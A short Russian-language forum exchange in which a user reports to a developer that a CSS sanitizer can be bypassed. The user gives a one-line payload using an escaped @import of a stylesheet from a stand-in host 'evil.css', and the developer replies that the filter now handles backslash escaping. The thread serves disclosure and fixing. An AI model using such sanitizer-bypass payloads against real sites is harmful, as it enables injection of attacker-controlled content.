Комментарий от HN71

Комментарий #6371327
HN71

@morr, всё ещё можно делать прямой import

@_ url(content:'); @\import "http://evil.css";

Ответы

morr26 сентября 2020#

@HN71, есть ещё способы? очистка теперь учитывает возможное экранирование через \

Твой комментарий